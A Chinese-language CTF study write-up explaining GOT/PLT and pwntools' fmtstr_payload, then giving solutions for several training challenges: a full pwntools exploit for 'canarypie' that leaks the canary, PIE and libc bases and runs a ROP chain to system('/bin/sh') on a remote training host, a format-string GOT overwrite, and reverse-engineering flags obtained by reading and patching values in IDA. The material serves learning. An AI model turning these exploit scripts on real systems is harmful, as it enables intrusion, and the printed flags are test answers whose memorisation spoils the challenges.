GOT 是一个表格,用于存储程序运行时需要访问的全局变量或函数的实际地址。当程序使用共享库中的函数时,这些函数的实际地址在运行时才会被解析,而不是在编译时。GOT 中存储了这些动态链接函数的地址。
PLT(Procedure Linkage Table)
PLT 是另一个表格,主要用于间接调用共享库中的函数。当程序第一次调用一个共享库中的函数时,会通过 PLT 跳转到动态链接器来解析该函数的地址,然后将该地址存储在 GOT 中,以便后续调用可以直接从 GOT 中获取地址,避免再次解析。
.got.plt 和 .plt.got
在反汇编工具如 IDA 中,你可能会看到
.got.plt
和.plt.got
这样的段名。
- .got.plt:这是 GOT 表的一部分,专门用于存储由 PLT 表调用的函数地址。在动态链接库的首次调用过程中,PLT 会将函数的实际地址存储到 .got.plt 表中。
- .plt.got:这个段名相对少见,通常与特定的编译器或链接器实现相关,表示 PLT 和 GOT 的混合区域或特定的优化技术。其具体含义可能取决于使用的编译工具链。
总之,GOT 和 PLT 之间的关系是:PLT 通过跳转表实现函数调用,GOT 存储这些函数的地址,目的是优化动态链接库函数的调用效率。
pwntools 中自带函数 fmtstr_payload 可以帮我们快速构造 payload:
payload = fmtstr_payload(6, {printf_got_addr: system_addr})
r.send(payload)
r.recv()
r.send(b'/bin/sh\x00')
r.interactive()
pwnlib.fmtstr.fmtstr_payload(offset, writes=None, numbwritten=0, write_size='byte', **kwargs)
offset
: 格式化字符串参数的偏移量。这个偏移量表示你控制的输入在栈中的位置,即第几个参数。例如,如果你的输入在 printf
的第3个参数位置,offset 就是3。
writes
: 一个字典,表示你想写入的地址和值。例如 {0xdeadbeef: 0xcafebabe}
表示想要将 0xcafebabe
写入地址 0xdeadbeef
。
numbwritten
: 当前已经写入的字节数。这通常用于调整生成的payload,以确保写入正确的值。
write_size
: 表示写入操作的大小,可以是 'byte'
(写入一个字节),'short'
(写入两个字节),或 'int'
(写入四个字节)。
kwargs
: 其他参数,这些参数会被传递给内部的 fmtstr
对象。
end.
31-canarypie
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
int __fastcall main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
while ( (unsigned int)hello() )
;
puts("See you~");
return 0;
}
int hello()
{
char s1[16]; // [rsp+0h] [rbp-30h] BYREF
char buf[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("Hello. What's your name?");
read(0, buf, 0x100uLL);
printf("Is your name `%s` correct (yes/no)?\n", buf);
read(0, s1, 0x100uLL);
return strncmp(s1, "yes", 3uLL);
}
解:
from pwn import *
# io = process('./canarypie')
io = remote('train2024.hitctf.cn', 26582)
elf = ELF('./canarypie')
libc = ELF('./libc.so.6')
context.log_level = 'debug'
context.arch = 'amd64'
# context.terminal = ['tmux', 'splitw', '-h']
# gdb.attach(io, 'b *$rebase(0x12df)')
# leak elf
payload_1 = flat(
b'a' * (0x20 - 0x10),
b'b'
)
io.sendafter("Hello. What's your name?", payload_1)
io.recvuntil(b'Is your name `aaaaaaaaaaaaaaaab')
main_addr = u64(io.recv(5).ljust(8, b'\x00')) * 0x100 + 0xd2
elf_base = main_addr - 0x12d2
success(f'main_addr: {hex(main_addr)}')
success(f'elf_base: {hex(elf_base)}')
io.recv()
io.send(b'no')
# leak canary
payload_2 = flat(
b'a' * (0x20 - 0x8),
b'b',
)
io.sendafter("Hello. What's your name?", payload_2)
io.recvuntil(b'Is your name `aaaaaaaaaaaaaaaaaaaaaaaab')
canary = u64(io.recv(7).rjust(8, b'\x00'))
success(f'canary: {hex(canary)}')
io.recv()
payload_3 = flat(
b'a' * (0x30 - 0x8),
canary
)
io.send(payload_3)
# leak libc
payload_4 = flat(
b'a' * (0x20 + 0x18)
)
io.sendafter("Hello. What's your name?", payload_4)
io.recvuntil(b'Is your name `aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')
libc_start_call_main_addr = u64(io.recv(6).ljust(8, b'\x00')) - 128
success(f'libc_start_call_main_addr: {hex(libc_start_call_main_addr)}')
libc_start_main_addr = libc_start_call_main_addr + 0xb0
libc_base = libc_start_main_addr - libc.sym['__libc_start_main']
success(f'libc_base: {hex(libc_base)}')
ret = elf_base + 0x101a
io.recv()
payload_5 = flat(
b'a' * (0x30 - 0x8),
canary,
0,
ret,
main_addr
)
io.send(payload_5)
# ROP
# libc
# 0x000000000002a3e5 : pop rdi ; ret
# elf
# 0x000000000000101a : ret
pop_rdi = libc_base + 0x2a3e5
sys_addr = libc_base + libc.sym['system']
sh_addr = libc_base + next(libc.search(b'/bin/sh'))
payload_6 = flat(
b'a' * (0x30 - 8),
canary,
0,
ret,
pop_rdi,
sh_addr,
sys_addr
)
io.sendafter("Hello. What's your name?", b'ponder')
io.recv()
io.sendafter('Is your name `ponder` correct (yes/no)?', payload_6)
io.interactive()
走过的坑:栈上找不到 libc 相关地址。
只需加载 glibc_all_in_one 中的 libc 和 interpreter 就能显示出来:
不要认为它不在栈上就不能泄露,实际上只要在前面填满垃圾字符照样能泄露这玩意的地址。
但是要注意 libc 里面没有这个函数,只有 __libc_start_main ,而在调试中我们可以发现这两个东西地址的差值是固定的,所以泄露一个就等于泄露了另一个。
后面重启 main 函数虽然正常输出了 “Hello. What’s your name?” 但在读入后挂掉,这时候要首先想到栈对齐的问题!
34-ez-reverse_1
int __fastcall main_0(int argc, const char **argv, const char **envp)
{
char *v3; // rdi
__int64 i; // rcx
size_t v5; // rax
char v7; // [rsp+0h] [rbp-20h] BYREF
int j; // [rsp+24h] [rbp+4h]
char Str1[224]; // [rsp+48h] [rbp+28h] BYREF
__int64 v10; // [rsp+128h] [rbp+108h]
v3 = &v7;
for ( i = 82i64; i; --i )
{
*(_DWORD *)v3 = -858993460;
v3 += 4;
}
for ( j = 0; ; ++j )
{
v10 = j;
if ( j > j_strlen(Str2) )
break;
if ( Str2[j] == 111 )
Str2[j] = 48;
}
sub_1400111D1("input the flag:");
sub_14001128F("%20s", Str1);
v5 = j_strlen(Str2);
if ( !strncmp(Str1, Str2, v5) )
sub_1400111D1("this is the right flag!\n");
else
sub_1400111D1("wrong flag\n");
return 0;
}
查看到 Str2 的值为:Lilac{rEost4rT}
for ( j = 0; ; ++j )
{
v10 = j;
if ( j > j_strlen(Str2) )
break;
if ( Str2[j] == 'o' )
Str2[j] = '0';
}
这段代码显然将 Str2 中所有 o 都变成了 0,所以最后的 flag 应该是:Lilac{rE0st4rT}
对于没有开反调试的程序,又能看到
if ( !strncmp(Str1, Str2, v5) )
sub_1400111D1("this is the right flag!\n");
这种语句,我们可以在这条判断语句的位置下断点,开启 ida 调试功能,查看程序运行到这里时 Str2 的值是多少,这样可以直接拿到 flag.
可以看到已经直接显示了 flag.
35-babyRust
Linux 远程调试与 patch.
将 ida 的 dbgsrv 目录下 linux_server64 文件拖入被调试文件的文件夹,打开 wsl 查询 ip 地址,启动linux_server64 文件,并在 ida Process options 中填写 ip 即可连接。
当连接非正常断开,wsl 还在运行那个进程而没有释放端口号,则会出现
0.0.0.0:23946: bind: Address already in use
的错误,无法再次连接。此时可以
sudo lsof -i :23946
查询占用端口的进程 PID:
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
linux_ser 577 ponder 3u IPv4 22568 0t0 TCP *:23946 (LISTEN)
再强制杀死即可:
sudo kill -9 577
shift F12 且 Ctrl F 查找 “plz” 后双击查看变量所在位置,按 a 将其转成字符串,按 x 查找哪里引用到了这个变量。
跟踪 no try again 字符串,右键 Graph view 可以看到程序大致结构。
可以看到,1 处的 no try again 显然是由 2 处的 compare 语句造成的分支。在 2 处打上断点后,将鼠标置于 cmp 的两个变量之上,发现 eax 是我们输入的值,那么左边变量即为预设的判定值。那么我们只需要篡改预设值为我们自己输入的值,程序就能跳转到我们想去的地方。
双击左侧变量,我们来到存储预设值的地址。可以看到这次预设值为 8 . 我们复制 8 左侧的地址,并在下方 Hex View 窗口中按 g 跳转到该位置:
此时可以右击选择 Edit 修改这个值,将它改为我们自己输入的值。
记得右键或 F2 保存。
(如果想退出编辑模式,按 esc 即可)
继续运行,我们发现程序成功输出了 “猜对了,第 1 次”.
继续观察成功后跳转的分支,我们又能发现一个 cmp 语句:
双击左边变量,我们发现当前它的值为 1.
再进行一次成功猜数,我们发现它的值为 2.
因此我们有理由认为这个值代表着我们猜对的次数,而达到 0x64 次才会给 flag.
所以我们可以在这个地方下断点,按照上面的方法篡改变量为 0x64,再继续运行,成功让程序输出“恭喜你获得flag”,并生成 flag 文件。